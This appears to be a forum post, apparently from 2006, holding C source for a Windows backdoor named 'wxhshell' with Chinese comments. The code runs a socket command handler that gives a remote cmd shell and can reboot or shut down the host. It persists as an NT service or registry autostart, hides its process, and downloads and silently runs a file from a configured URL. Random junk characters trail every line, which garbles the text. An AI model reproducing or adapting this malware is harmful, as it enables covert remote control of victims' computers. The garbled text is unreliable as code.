    break; O^G/(  
  } 'Kxs>/y3  
  // 安装 )52:@=h*l  
  case 'i': { cKh{ s  
    if(Install()) ;[0<QmeI!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]VL( &  
    else R!W!8rr3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +`kfcA#pi  
    break; 1""9+4  
    } Namw[Tg J  
  // 卸载 * gr{{c  
  case 'r': { -q&VV,  
    if(Uninstall()) G^p>fy~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r1EccY  
    else D^=_408\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !EF~I8d\]  
    break; {2R b^K  
    } gQ.yNe  
  // 显示 wxhshell 所在路径 @Rj&9/\L  
  case 'p': { ~IZ'zuc  
    char svExeFile[MAX_PATH]; HC*=E.J  
    strcpy(svExeFile,"\n\r"); ( Z\OqG  
      strcat(svExeFile,ExeFile); n*CH,fih:  
        send(wsh,svExeFile,strlen(svExeFile),0); ,IA0n79  
    break; L-^vlP)Vu  
    } uaNJTob  
  // 重启 ^)rX27!G  
  case 'b': { 6LL/wemq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ul/=1]1?  
    if(Boot(REBOOT)) _Z.lr\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;E(gl$c:  
    else { WSn^P~vC  
    closesocket(wsh); h/5n+*x(  
    ExitThread(0); Fo3[KW)8I  
    } 8;P8CKe  
    break; 'M|W nR  
    } SWD v\Vr  
  // 关机 @R9zLL6#7  
  case 'd': { ,]i ^/fT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [5:,+i  
    if(Boot(SHUTDOWN)) zKe&*tZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }C/u>89%q  
    else { C#emmg!a\  
    closesocket(wsh); f*Xonb  
    ExitThread(0); i?z3!`m  
    } Kw3fpNd  
    break; @SDsd^N{2P  
    } ElZ'/l*\  
  // 获取shell /v: g' #n  
  case 's': { DOaEz?2)  
    CmdShell(wsh); Vs]+MAL  
    closesocket(wsh); $/}*HWVZ  
    ExitThread(0); lzBy;i  
    break; jx!)N>  
  } 3Ku!;uo!u  
  // 退出 '(5 &Sj/C  
  case 'x': { "L1cHP~d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]3 YJE P  
    CloseIt(wsh); SGZOfTcY  
    break; A,W-=TC  
    } [V  T&  
  // 离开 <P3r+ 1|R  
  case 'q': { 3uwu}aw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1Z'cL~9  
    closesocket(wsh); 9hHQWv7TgK  
    WSACleanup(); !.zUY6  
    exit(1); ?O8NyCeb7  
    break; Nb>|9nu O  
        } %:h)8e-;  
  } w (W+Y+up  
  } gAhCNOp  
)pjd*+V  
  // 提示信息 Kf76./  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p.n]y=o.)  
} [`_&d7{-4b  
  } U u(ysN4`  
hqnJ@N$yY  
  return; Cfyas'  
} )-Zpr1kD  
nZfTK>)A0  
// shell模块句柄 @CP"AYB #  
int CmdShell(SOCKET sock) '&W`x5`t  
{ Z@nM\/vLA  
STARTUPINFO si; >Gk<[0U  
ZeroMemory(&si,sizeof(si)); `. /[/ z-g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RV.z xPw>>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g:q+.6va"  
PROCESS_INFORMATION ProcessInfo; GI WgfE?  
char cmdline[]="cmd"; xB68RQe)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2}'qu)  
  return 0; ~=Z&l  
} :@wO' o  
qDM/ 6xO  
// 自身启动模式 "z69jxXo  
int StartFromService(void) .bB_f7TH.  
{ MnO,Cd6{%d  
typedef struct T$06DS  
{ 7 ZET@  
  DWORD ExitStatus; Xf:CGR8_  
  DWORD PebBaseAddress; si/F\NDT   
  DWORD AffinityMask; ::dLOf8o  
  DWORD BasePriority; jm =E_86_  
  ULONG UniqueProcessId; =9\=5_V  
  ULONG InheritedFromUniqueProcessId; UY5ia4_D  
}   PROCESS_BASIC_INFORMATION; "}\2zub9  
DGC -`z  
PROCNTQSIP NtQueryInformationProcess; YdV5\!  
[p$b@og/>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (gNI6;P;}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3LG}x/l  
@?aNvWeavH  
  HANDLE             hProcess; 8!TbJVR  
  PROCESS_BASIC_INFORMATION pbi; Bt Bo%t&  
6](vnS;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `kwyF27v]  
  if(NULL == hInst ) return 0; x~$P.X7(~  
GLwL'C'591  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BXa1 [7Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UIL5K   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8.o[K  
Al3Hu-Hf;`  
  if (!NtQueryInformationProcess) return 0; st{:] yTRk  
DA]!ndJD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ve1jLjsB  
  if(!hProcess) return 0; XEfTAW#7  
j*I0]!-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J6hWcA6 g  
1|;WaO1Q  
  CloseHandle(hProcess); jn^i4f>N  
YM 7P!8Gc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U @|{RP  
if(hProcess==NULL) return 0; 8hQ"rrj+  
#Q^mdv?  
HMODULE hMod; dDi 1{s  
char procName[255]; PP.k>zsx  
unsigned long cbNeeded; '$ s:cS`=  
(dpBGt@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (+Gd)iO  
-njxc{b  
  CloseHandle(hProcess); vO]gj/SaT  
R{#-IH="  
if(strstr(procName,"services")) return 1; // 以服务启动 oFoG+H"&7\  
~NpnRIt  
  return 0; // 注册表启动 n j; KnZ  
} n >xhT r<  
V3yO_Iqa  
// 主模块 )Si`>o3T-.  
int StartWxhshell(LPSTR lpCmdLine) JGn@)!$+/  
{ dWR?1sV|e  
  SOCKET wsl; -3wg9uZ &  
BOOL val=TRUE; SQvicZAN)`  
  int port=0; y3 LWh}~E  
  struct sockaddr_in door; 4J!1$   
cC"7Vt9b  
  if(wscfg.ws_autoins) Install(); 'V4.umj1~  
VEpIAC4  
port=atoi(lpCmdLine); &4O"Xs`ka  
CS50wY  
if(port<=0) port=wscfg.ws_port; S&_ZQLiQ$  
_]j=[|q 9  
  WSADATA data; cn<9!2a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `WWf?g  
4yQ4lU,r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W;~^3Hz6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GY@Np^>[a  
  door.sin_family = AF_INET; 9rn!U2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @F=ZGmq  
  door.sin_port = htons(port); 8}xU]N#EV  
2J9eeN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {4}Sl^kn*  
closesocket(wsl); V *S|Qy!p  
return 1; @a%,0Wn  
} LMsbTF@E  
A"vI6ud>  
  if(listen(wsl,2) == INVALID_SOCKET) { - CM;sXq  
closesocket(wsl); WVy"MD  
return 1;  P/nXY  
} Sl:\5]'yJ  
  Wxhshell(wsl); - /#3U{O  
  WSACleanup(); pm5Yc@D  
qbqJ1^!6R  
return 0; 8 Sl[&  
0<nKB}9  
} YX^{lD1Jj  
(C6Y*Zm\  
// 以NT服务方式启动 xS,):R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d@C ;rzR  
{ ZJy D/9y  
DWORD   status = 0; dH?pQ   
  DWORD   specificError = 0xfffffff; uBl&|yvxB  
b.YQN'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k^R>xV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vk{4:^6.TV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )byQ=-< 1  
  serviceStatus.dwWin32ExitCode     = 0; jG)>{D  
  serviceStatus.dwServiceSpecificExitCode = 0; g=i|D(".  
  serviceStatus.dwCheckPoint       = 0; {[r'+=}l\S  
  serviceStatus.dwWaitHint       = 0; [C771~BL>  
d[TcA2nF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,LcMNPr  
  if (hServiceStatusHandle==0) return; E+E5`-V  
f8[2$i*cL  
status = GetLastError(); Plm3vk=  
  if (status!=NO_ERROR) |7|mnOBdDf  
{ }pTw$B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dN\pe@#lKP  
    serviceStatus.dwCheckPoint       = 0; $PrzJc  
    serviceStatus.dwWaitHint       = 0; hH@018+  
    serviceStatus.dwWin32ExitCode     = status; ,wRrx&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7yQ r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hsp|<;Yg  
    return; 1$".7}M4$  
  } Wz=ZhE9g  
I]I5!\\&[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lFc3 5  
  serviceStatus.dwCheckPoint       = 0; }f6.eqBX4  
  serviceStatus.dwWaitHint       = 0; !p0FJ].g,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @M,KA {e  
} Rw$ @%o%  
;uba  
// 处理NT服务事件,比如:启动、停止 >!bYuVHA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U$Ew,v<  
{ >D-$M_  
switch(fdwControl) /f0_mi,bD  
{ YRC`2)_'  
case SERVICE_CONTROL_STOP: NA0hQGN}  
  serviceStatus.dwWin32ExitCode = 0; ry7(V:ic  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K.X% Q,XD  
  serviceStatus.dwCheckPoint   = 0; (\WePOy&  
  serviceStatus.dwWaitHint     = 0; 5O*+5n  
  { i>!f|<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R^PQ`$W 'R  
  } NiyAAw  
  return; \7og&j-h  
case SERVICE_CONTROL_PAUSE: J4S2vBe16  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 78 UT]<Q;K  
  break; J~c]9t  
case SERVICE_CONTROL_CONTINUE: <D&75C#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q{$2D&  
  break; )dlt$VX  
case SERVICE_CONTROL_INTERROGATE: *&5G+d2  
  break; !w C4ei`  
}; 8Oc*<^{#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F$+_Z~yt3;  
} =?FA9wm  
JBU qZ  
// 标准应用程序主函数 @|d|orMC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x6$P(eN  
{ r)7A# 3wId  
iqOd]H]v  
// 获取操作系统版本 CdEJ/G:  
OsIsNt=GetOsVer(); lzw r]J%|?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9ykmz (  
sq<y2j1oF  
  // 从命令行安装 }* BY!5  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;{Ovqo|  
BF]b\/I  
  // 下载执行文件 cuSXv)  
if(wscfg.ws_downexe) { A#8/:t1AW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'etCIl3  
  WinExec(wscfg.ws_filenam,SW_HIDE); xNm<` Y?  
} Zu+Z7@$}/  
z6Mf>q  
if(!OsIsNt) { $ Q2|{*  
// 如果时win9x,隐藏进程并且设置为注册表启动 kM9E)uT>(<  
HideProc(); .WtaU  
StartWxhshell(lpCmdLine); F] ~`57  
} I[F.M}5:z  
else ^l iyWl  
  if(StartFromService()) OSq"q-Q  
  // 以服务方式启动 l'o'q7&=z  
  StartServiceCtrlDispatcher(DispatchTable); gbSZ- ej  
else P+Hs6Q  
  // 普通方式启动 v,2{Vr  
  StartWxhshell(lpCmdLine); Llg[YBJ7>  
/5wvXk|@  
return 0; 7H./o Vl  
}
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只看该作者 1 发表于: 2006-10-10
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